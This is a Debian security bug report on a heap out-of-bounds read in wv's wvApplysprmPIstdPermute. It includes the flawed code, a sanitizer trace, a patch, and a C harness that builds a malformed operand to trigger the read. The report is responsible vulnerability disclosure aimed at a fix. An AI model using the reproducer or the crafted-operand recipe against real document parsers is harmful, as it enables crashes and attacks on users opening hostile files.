Package: wv
Version: 1.2.9-9
Severity: important
Tags: security, upstream

Hello,

I am reporting a reproducible heap out-of-bounds read in Debian wv 1.2.9-9 and 
upstream wvWare.

`wvApplysprmPIstdPermute()` allocates a remap table of `(cch - 6) / 2` entries, 
fills exactly that many, then indexes it with `apap->istd - istdFirst` while 
validating the index only against `istdFirst` / `istdLast` from the same 
operand (sprm.c:1093, sprm.c:1101, sprm.c:1116-1119). Nothing compares the 
index with the number of entries actually read, so an operand declaring a wide 
`istdLast` with a short `cch` reads past the allocation, and `apap->istd` is 
taken from the out-of-bounds word and used afterwards as a style index.

Reproduction (deterministic, harness attached):

    gcc -g -O1 -fsanitize=address -I. $(pkg-config --cflags glib-2.0 
gobject-2.0) poc-pistd-harness.c .libs/libwv.a -lgsf-1 -lxml2 -lz -o poc-pistd
    ./poc-pistd

It builds a zeroed PAP with `istd = 2` and an operand with `cch = 8` (one 
entry) and `istdLast = 0xffff`, so the applied index 1 is one past the 2-byte 
allocation:

    ERROR: AddressSanitizer: heap-buffer-overflow
    READ of size 2
        #0 wvApplysprmPIstdPermute sprm.c:1119
        #1 wvApplySprmFromBucket sprm.c:257
        #2 wvAddPAPXFromBucket6 pap.c:111
        #3 wvGenerateStyle stylesheet.c:517

The attached `cand2.doc` reaches the same read through `wvRTF` on Word 6 input.

Suggested fix bounds the index by the filled count, and is attached:

    U16 nistd = 0; nistd = (U16)((cch - 6) / 2); ... < nistd in the if

With the patch the harness returns cleanly (`istd=2`) and normal documents keep 
byte-identical RTF output.

This is distinct from CVE-2026-112055 (`wvGetPAPX_FKP` / `wvGetCHPX_FKP`), 
CVE-2026-112056 (`wvGetSTSH`) and Debian Bug #1148725 (`pap.c` list indices); 
none of them touches this function. Note the sample still crashes after the 
patch in `mapFont`/`strcasecmp` (wvRTF.c:114), a separate defect of the same 
file, not this read.

Confirmed impact is out-of-bounds heap read and process termination; code 
execution is not claimed.

Please assign a CVE if Debian considers this a vulnerability in the Debian 
package. I am happy to retest a patched build.

Thanks,
netwind
[email protected]

# wv: heap out-of-bounds read in wvApplysprmPIstdPermute

`wvApplysprmPIstdPermute()` allocates an `istd` remap table of `(cch - 6) / 2`
entries, fills exactly that many, then indexes it with `apap->istd - istdFirst`
while validating the index only against `istdFirst`/`istdLast` from the same
operand (`sprm.c:1093`, `sprm.c:1101`, `sprm.c:1116-1119`):

```c
    if ( cch > 6)
      {
	  rgistd = (U16 *) wvMalloc (sizeof (U16) * ((cch - 6) / 2));
	  ...
	  for (i = 0; i < (cch - 6) / 2; i++)
	    { rgistd[i] = dread_16ubit (NULL, &pointer); ... }
      }
    else
      return;
    ...
    if ((apap->istd > istdFirst) && (apap->istd <= istdLast))
      {
	  apap->istd = rgistd[apap->istd - istdFirst];
      }
```

Nothing compares `istd - istdFirst` with `(cch - 6) / 2`, so an operand that
declares a wide `istdLast` but carries a short `cch` reads past the allocation.
`apap->istd` is then taken from the out-of-bounds word and used as a style index.

## Reproduction

Function-level (deterministic, `cch = 8` gives a single entry, `istdLast = 0xffff`,
`istd = 2` so index 1 is one past the 2-byte allocation) — `poc-pistd-harness.c`:

```
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2
    #0 wvApplysprmPIstdPermute sprm.c:1119
    #1 wvApplySprmFromBucket sprm.c:257
    #2 wvAddPAPXFromBucket6 pap.c:111
    #3 wvGenerateStyle stylesheet.c:517
```

Document path: `cand2.doc` reaches the same read through `wvRTF` on Word 6 input.

## Suggested fix

Bound the index by the number of entries that were actually read:

```diff
+    U16 nistd = 0;
...
-	  rgistd = (U16 *) wvMalloc (sizeof (U16) * ((cch - 6) / 2));
+	  nistd = (U16) ((cch - 6) / 2);
+	  rgistd = (U16 *) wvMalloc (sizeof (U16) * nistd);
...
-	  for (i = 0; i < (cch - 6) / 2; i++)
+	  for (i = 0; i < nistd; i++)
...
-    if ((apap->istd > istdFirst) && (apap->istd <= istdLast))
+    if ((apap->istd > istdFirst) && (apap->istd <= istdLast)
+	&& ((U16) (apap->istd - istdFirst) < nistd))
```

Verified on 1.2.9-9: with the patch the harness returns cleanly (`istd=2`) and
normal documents keep byte-identical RTF output. Without it the harness reports the
out-of-bounds read.

## Distinct from

- CVE-2026-112055 (`wvGetPAPX_FKP` / `wvGetCHPX_FKP` stack out-of-bounds read)
- CVE-2026-112056 (`wvGetSTSH` heap out-of-bounds read)
- Debian bug #1148725 (unbounded list indices in `pap.c` reaching a wild pointer)

Neither of the three touches this function. The sample also still crashes after the
patch in `mapFont`/`strcasecmp` (`wvRTF.c:114`), which is a separate defect of the same
file, not this read.

Confirmed impact: out-of-bounds heap read and process termination; code execution is not
claimed. Samples, harness and patch attached.
#include <stdio.h>
#include <string.h>
#include "wv.h"

/* Minimal reproducer for the unchecked index in wvApplysprmPIstdPermute():
 * the operand only carries one rgistd entry (cch = 8 -> (8-6)/2 = 1) but
 * declares istdLast far beyond it, and the applied istd selects entry 1, which
 * is past the 2-byte allocation. */

int
main (void)
{
    PAP pap;
    U8 buf[16];
    U16 pos = 0;
    U8 *p = buf;

    memset (&pap, 0, sizeof (pap));
    pap.istd = 2;

    *p++ = 8;                   /* cch */
    *p++ = 0;                   /* fLongg */
    *p++ = 0;                   /* fSpare */
    *p++ = 1;                   /* istdFirst */
    *p++ = 0;
    *p++ = 0xff;                /* istdLast = 0xffff */
    *p++ = 0xff;
    *p++ = 0x11;                /* the single rgistd entry, 0x0011 */
    *p++ = 0x00;

    wvApplysprmPIstdPermute (&pap, buf, &pos);
    printf ("istd=%d\n", pap.istd);
    return 0;
}

Attachment: fix-pistd-1153xxx.patch
Description: fix-pistd-1153xxx.patch

Reply via email to